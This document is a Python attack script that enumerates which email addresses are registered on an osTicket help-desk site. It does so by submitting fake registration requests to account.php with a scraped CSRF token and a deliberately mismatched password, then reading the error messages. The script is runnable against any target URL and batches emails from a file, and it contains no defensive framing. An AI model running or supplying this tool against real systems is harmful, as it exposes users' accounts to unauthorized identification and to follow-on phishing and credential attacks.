#!/usr/bin/env python3 """ osTicket Registered User Enumeration ===================================== Attempts to fake register one or more user accounts via the account.php endpoint to determine if they already exist. Usage: python osticket_registered_user_enum.py [email1] [email2...] [--file ] Example: python osticket_registered_user_enum.py http://osticket.example.com user1@example.com user2@example.com ... python osticket_registered_user_enum.py http://osticket.example.com --file emails.txt """ import sys import re import argparse import random import string from urllib.parse import urljoin, urlparse import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry # Suppress InsecureRequestWarning for self-signed certs requests.packages.urllib3.disable_warnings() class Colors: """ANSI color codes for terminal output""" HEADER = '\033[95m' OKBLUE = '\033[94m' OKCYAN = '\033[96m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' def print_banner(): """Print script banner""" print(f"{Colors.HEADER}{Colors.BOLD}") print("=" * 70) print("osTicket Account Auto-Registration Script") print("=" * 70) print(f"{Colors.ENDC}") def create_session(): """Create a requests session with retry logic""" session = requests.Session() retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504]) adapter = HTTPAdapter(max_retries=retry) session.mount('http://', adapter) session.mount('https://', adapter) session.verify = False # Ignore SSL certificate errors return session def extract_csrf_token(content): """Extract __CSRFToken__ from HTML content""" match = re.search(r'name=["\']__CSRFToken__["\'][^>]*value=["\']([^"\']+)["\']', content) return match.group(1) if match else None def generate_password(length=12): """Generate a random password with letters, digits, and symbols""" characters = string.ascii_letters + string.digits + string.punctuation return ''.join(random.choice(characters) for i in range(length)) def register_account(base_url, email, session): """ Attempts to register a single account. Returns (success: bool, message: str) """ print(f"\n{Colors.OKBLUE}[*] Attempting to register: {email}{Colors.ENDC}") account_url = urljoin(base_url, 'account.php') try: # 1. GET the page to get a valid session cookie and CSRF token print(" - Fetching registration form and CSRF token...") resp_get = session.get(account_url, verify=False) if resp_get.status_code != 200: return False, f"Failed to load account page (HTTP {resp_get.status_code})" content = resp_get.text csrf_token = extract_csrf_token(content) if not csrf_token: return False, "Could not find CSRF token. Is registration enabled?" # 2. Prepare registration data password = generate_password() # Derive a name from the email address name = email.split('@')[0].replace('.', ' ').title() payload = { 'do': 'create', '__CSRFToken__': csrf_token, 'name': 'somename', 'email': email, 'passwd1': password, 'passwd2': '', 'backend': 'client' } print(f" - Submitting registration for user '{name}'...") # 3. POST the registration form resp_post = session.post(account_url, data=payload, verify=False) # 4. Analyze the response response_content = resp_post.text if "Errors configuring your profile." in response_content: return False, f"{Colors.WARNING}✗ Email {email} does not exist.{Colors.ENDC}" elif "Email already registered" in response_content: return False, f"{Colors.OKGREEN}✗ Email {email} exists.{Colors.ENDC}" else: print(response_content) return False, f"{Colors.FAIL}✗ Unexpected error, check response{Colors.ENDC}" except requests.RequestException as e: return False, f"{Colors.FAIL}✗ Network error: {e}{Colors.ENDC}" def main(): parser = argparse.ArgumentParser( description='Auto-register osTicket accounts.', epilog='Example: python enumerate_registered_users.py http://osticket.example.com user1@example.com' ) parser.add_argument('base_url', help='Base URL of the osTicket installation (e.g., http://osticket.example.com)') parser.add_argument('emails', nargs='*', help='One or more email addresses to check') parser.add_argument('--file', '-f', help='File containing a list of email addresses, one per line') parser.add_argument('--no-color', action='store_true', help='Disable colored output') args = parser.parse_args() if args.no_color: for attr in dir(Colors): if not attr.startswith('_'): setattr(Colors, attr, '') base_url = args.base_url if not base_url.endswith('/'): base_url += '/' parsed_url = urlparse(base_url) if not parsed_url.scheme or not parsed_url.netloc: print(f"{Colors.FAIL}[!] Invalid URL provided. Please include http:// or https://{Colors.ENDC}") sys.exit(1) emails_to_register = [] if args.file: try: with open(args.file, 'r') as f: emails_from_file = [line.strip() for line in f if line.strip()] emails_to_register.extend(emails_from_file) print(f"{Colors.OKCYAN}[i] Loaded {len(emails_from_file)} email(s) from {args.file}{Colors.ENDC}") except FileNotFoundError: print(f"{Colors.FAIL}[!] Error: File not found at '{args.file}'{Colors.ENDC}") sys.exit(1) emails_to_register.extend(args.emails) if not emails_to_register: print(f"{Colors.FAIL}[!] No emails provided. Use positional arguments or the --file option.{Colors.ENDC}") parser.print_help() sys.exit(1) print_banner() print(f"Target: {Colors.BOLD}{base_url}{Colors.ENDC}") session = create_session() for email in emails_to_register: success, message = register_account(base_url, email, session) print(f" {message}") print(f"\n{Colors.OKBLUE}[*] Script finished.{Colors.ENDC}") if __name__ == '__main__': main()